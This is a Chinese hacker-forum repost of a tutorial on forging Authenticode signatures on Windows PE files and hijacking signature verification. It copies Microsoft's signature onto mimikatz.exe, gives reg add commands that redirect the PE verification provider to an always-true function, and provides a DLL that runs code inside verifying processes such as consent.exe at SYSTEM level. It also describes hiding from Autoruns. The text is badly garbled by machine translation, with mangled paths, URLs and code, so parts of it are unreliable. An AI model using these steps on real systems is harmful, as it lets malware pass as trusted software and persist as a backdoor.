跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

验证码签名伪造——PE文件的签名伪造与签名验证劫持


XenoG

推荐的帖子

0x00 前言

在上一篇文章《CAT文件数字签名使用技巧》 介绍了证书签名的基础知识,Windows系统下向文件签名有两种方法:添加在文件末尾(验证码)和猫文件(目录),本文将介绍验证码签名的相关利用技巧——PE文件的签名伪造与签名验证劫持

注:

本文介绍的技巧参考自matt Graeber @ matti festigation公开的资料,本文将结合自己的经验,整理相关内容,添加个人理解。

参考资料:

幽灵特工队https://号。io/assets/resources/specter ops _ revising _ Trust _ in _ windows。可移植文档格式文件的扩展名(portable document format的缩写)

http://www。剥削-星期一。com/2017/08/真实ode-signals的应用。超文本标记语言

https://号车道。谷歌。com/file/d/0 b-k 55 rloulafnms S1 aw 1 rbx f1 TMC/view

0x01 简介

本文将要介绍以下内容:

体育课文件的验证码签名伪造

劫持签名验证过程,实现代码执行,作为后门

0x02 PE文件的签名伪造

验证码的详细说明文档可参考:

http://下载。微软。com/download/9/c/5/9c5b 2167-8017-4 BAE-9 FDE-d 599 BAC 8184 a/authentic ode _ PE。docx

部分系统文件会包含微软的签名,例如c:\ Windows \ System32 \ comment。可执行程序的扩展名

通过文件属性能够看到相关签名信息,如下图

2-1.png

通过powershell验证,代码如下:

获取可信的ode签名C:\ Windows \ System32 \ comment。可执行程序的扩展名

如下图

2-2.png

借助工具临界闪变频率(Critical Flicker Frequency)探险家获取文件结构,如下图

2-3.png

RVA安全目录代码数字签名在体育课文件中的偏移位置

安全目录大小代表数字签名的长度

将这部分内容提取,复制到另一个文件test.exe的尾部,同时使用临界闪变频率(Critical Flicker Frequency)探险家修改test.exe对应的RVA安全目录和安全目录大小

这样,就实现了数字签名的伪造

开源工具信号窃贼可自动实现以上过程,地址如下:

https://github.com/secretsquirrel/SigThief

实际测试:

测试系统:Win7

将c:\ Windows \ System32 \ comment。可执行程序的扩展名的数字签名复制到mimikatz.exe中

参数如下:

SIG小偷。py-IC:\ Windows \ System32 \ comment。si.exe

生成si.exe,具有微软数字签名,但提示证书无效,如下图

2-4.png

注:

部分测试系统无法使用sigthief.py,提示找不到0x9,将系统激活即可

通过powershell验证,代码如下:

Get-AuthenticodeSignature .\si.exe

显示HashMismatch,如下图

2-5.png

通过signtool.exe验证:

signtool.exe核实/诉si.exe

显示信号工具错误:WinVerifyTrust返回错误:0x80096010,如下图

2-6.png

通过sigcheck.exe验证:

si.exe

显示对象的数字签名没有通过验证,如下图

2-7.png

0x03 修改配置,使签名通过验证

查看Get-AuthenticodeSignature的帮助说明:

获取-帮助获取-真实颂歌签名-完整

查看相关操作Set-AuthenticodeSignature的帮助说明:

获取帮助集-正宗颂歌签名-完整

发现该命令的功能:

set-AuthenticodeSignature cmdlet将验证码签名添加到

任何支持主题接口包(啜饮)的文件。

关于啜饮的资料,可参考:

https://个博客。TechNet。微软。com/Eduardo Navarro/2008/07/11/sips-subject-interface-package-and-authentic ode/

获得有用的信息:

有一些是作为操作系统的一部分(至少在展望上)。确定…的位置,发现…的位置

在%WINDIR%\System32目录中。他们通常有一个命名结尾

与sip.dll,即msisip.dll是微软的安装程序(。msi)啜饮。

寻找Windows操作系统操作系统下的啜饮:

ls C:\ Windows \ System32 \ * sip。dll-Recurse-错误操作无声继续

Win7下只有一个:C:\Windows\System32\msisip.dll

注:

马特格雷贝尔的测试系统为Win10,可以找到多个动态链接库

使用国际开发协会打开该dll,查看函数DllRegisterServer()

如下图

3-1.png

找到一个特别的名称MsiSIPVerifyIndirectData,字面意思像是签名验证功能

查找资料,找到该函数,地址如下:

https://msdn。微软。com/en-us/library/windows/desktop/cc 542591(v=vs . 85).aspx

发现该函数,返回真实的代表验证成功,返回错误的代表验证失败

该功能对应注册表键值,位置如下:

HKLM软件\微软\密码学OID编码类型0 \ CryptSIPDllVerifyIndirectData \

如下图

3-2.png

不同全局唯一标识符对应不同文件格式的验证,例如:

c 689 aab 8-8e 78-11d 0-8c 47-00 c 04 fc 295 ee-PE

de 351 a 43-8e 59-11d 0-8c 47-00 c 04 fc 295 ee目录。猫文件

ba 61d 3 f-E73A-11d 0-8cd 2-00c 04 fc 295 ee-CTL .细胞毒性T淋巴细胞(细胞毒性淋巴细胞的缩写)文件

c 689 aaba-8e 78-11d 0-8c 47-00 c 04 fc 295 ee-机柜。驾驶室文件

注:

全局唯一标识符说明引用自《Subverting Trust in Windows》第四页

接下来,尝试替换HKLM软件\微软\密码术\ OID \编码类型0 \ cryptsipdlverifyinddirectdata \ { c 689 aab 8-8e 78-11d 0-8c 47-00 c 04 fc 295 ee }下的动态链接库和FuncName

通过c实现,创建dll,添加导出函数,格式参照CryptSIPVerifyIndirectData,代码如下:

BOOL WINAPI cryptsipverifyindrectdata(SIP _ SUBJECTINFO * pSubjectInfo,SIP _ INDIRECT _ DATA * pIndirectData)

{

返回真实的

}

编译生成signtest.dll

修改注册表:

注册添加“HKLM”软件\微软\密码术\ OID \编码类型0 \ cryptsipdlverifyinddirectdata \ { C 689 aab 8-8e 78-11d 0-8c 47-00 C 04 fc 295 ee } '/v ' Dll '/t REG _ SZ/d ' C:\ test \ sign test。Dll '/f

注册添加“HKLM”软件\微软\密码术\ OID \编码类型0 \ cryptsipdlverifyindirectdata \ { c 689 aab 8-8e 78-11d 0-8c 47-00 c 04 fc 295 ee } '/v ' FuncName '/t REG _ SZ/d ' CryptSIPVerifyIndirectData '/f

重新启动cmd,使用powershell进行验证:

Get-AuthenticodeSignature .\si.exe

显示有效,校验成功

如下图

3-3.png

通过signtool.exe验证:

signtool.exe核实/诉si.exe

验证通过

通过sigcheck.exe验证:

si.exe

验证通过,如下图

3-4.png

重启explorer.exe,查看文件属性,签名状态,显示签名生效,如下图

3-5.png

更进一步,dll一定要固定格式吗?

于是进行接下来的测试:

导出函数名为测试1,完整代码如下:

BOOL APIENTRY DllMain(处理hModule,

呼叫的原因,

LPVOID lpReserved

)

{

返回真实的

}

BOOL WINAPI test1()

{

返回真实的

}

修改对应注册表键值:

注册添加“HKLM”软件\微软\密码术\ OID \编码类型0 \ cryptsipdlverifyinddirectdata \ { C 689 aab 8-8e 78-11d 0-8c 47-00 C 04 fc 295 ee } '/v ' Dll '/t REG _ SZ/d ' C:\ test \ sign test。Dll '/f

注册添加“HKLM”软件\微软\密码术\ OID \编码类型0 \ cryptsipdlverifyinddirectdata \ { c 689 aab 8-8e 78-11d 0-8c 47-00 c 04 fc 295 ee } '/v ' FuncName '/t REG _ SZ/d ' test1 '/f

测试仍能够绕过验证

这就说明,只要动态链接库的导出函数返回没错,就能够绕过验证

所以,可以查找系统默认的dll,找到一个导出函数返回真实的即可(当然,此处可供利用的导出函数有很多)

例如' C:\Windows\System32\ntdll.dll '

导出函数:DbgUiContinue

代码如下:

注册添加“HKLM”软件\微软\密码术\ OID \编码类型0 \ cryptsipdlverifyindindata \ { C 689 aab 8-8e 78-11d 0-8c 47-00 C 04 fc 295 ee } '/v ' Dll '/t REG _ SZ/d ' C:\ Windows \ System32 \ ntdll。Dll '/f

注册添加“HKLM”软件\微软\密码术\ OID \编码类型0 \ cryptsipdlverifyinddirectdata \ { c 689 aab 8-8e 78-11d 0-8c 47-00 c 04 fc 295 ee } '/v ' FuncName '/t REG _ SZ/d ' DbgUiContinue '/f

这样,就不需要在系统上留下自己编写的动态链接库

对于64位系统,存在32位的注册表键值

如果使用32位的程序,如32位的信号工具和sigcheck,为了绕过验证,还需要修改32位的注册表键值,对应代码如下:

注册添加“HKLM”软件\ wow 6432 node \ Microsoft \ Cryptography \ OID \ encoding type 0 \ cryptsipdlverifyindindata \ { C 689 aab 8-8e 78-11d 0-8c 47-00 C 04 fc 295 ee } '/v ' Dll '/t REG _ SZ/d ' C:\ Windows \ System32 \ ntdll。Dll '/f

注册添加“HKLM”软件\ wow 6432 node \ Microsoft \ Cryptography \ OID \ encoding type 0 \ cryptsipdlverifyinddirectdata \ { c 689 aab 8-8e 78-11d 0-8c 47-00 c 04 fc 295 ee } '/v ' FuncName '/t REG _ SZ/d ' DbgUiContinue '/f

0x04 签名验证劫持

修改注册表,编写动态链接库实现对签名验证过程的绕过,如果我们在动态链接库的导出函数里面加入自己的代码,这就实现了签名验证劫持

将执行代码添加到签名验证中:

BOOL APIENTRY DllMain(处理hModule,

呼叫的原因,

LPVOID lpReserved

)

{

返回TRUE

}

BOOL WINAPI test1()

{

WinExec('calc.exe ',SW _ show normal);

返回TRUE

}

只要用我们自己的dll加载涉及签名验证的操作,就会弹出计算器。

以下程序使用签名验证操作:

DllHost.exe-当“数字签名”选项卡显示在文件属性中时

流程浏览器-当显示“已验证签名者”选项卡时

自动运行

信号检查

consent.exe——每当显示UAC提示符时

signtool.exe

smartscreen.exe

Get-AuthenticodeSignature

Set-AuthenticodeSignature

基于对WinVerifyTrust的调用执行证书验证的安全供应商软件。

注:

参考文献来自《Subverting Trust in Windows》第33页。

例如,查看文件属性-数字签名详细信息,加载dll,弹出计算器,如下图所示

4-1.png

特别是以管理员权限执行程序会弹出UAC。如果这是劫持,此时的特权就是系统。

完整的操作如下

4-2.gif

补充:

1、dll劫持

有些GUID,注册表默认的dll路径是相对路径,所以存在dll劫持的问题,不修改注册表就可以绕过签名验证。

2、Hiding from Autoruns

默认情况下,启动检测工具Autoruns不显示由Microsoft签名的文件,如下图所示。

5-1.png

如果文件包含Microsoft签名,默认情况下,它不会显示在自动运行面板中。

0x05 防御建议

有些白名单程序会默认信任有微软证书的文件,所以这里存在隐患。

建议不要盲目相信证书。

0x06 小结

介绍了Authenticode签名的相关利用技巧:——PE文件的签名伪造和签名验证劫持。下篇继续介绍Authenticode签名的伪造技巧:3354文件类型的签名伪造。

最后感谢Matt Graeber的分享。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...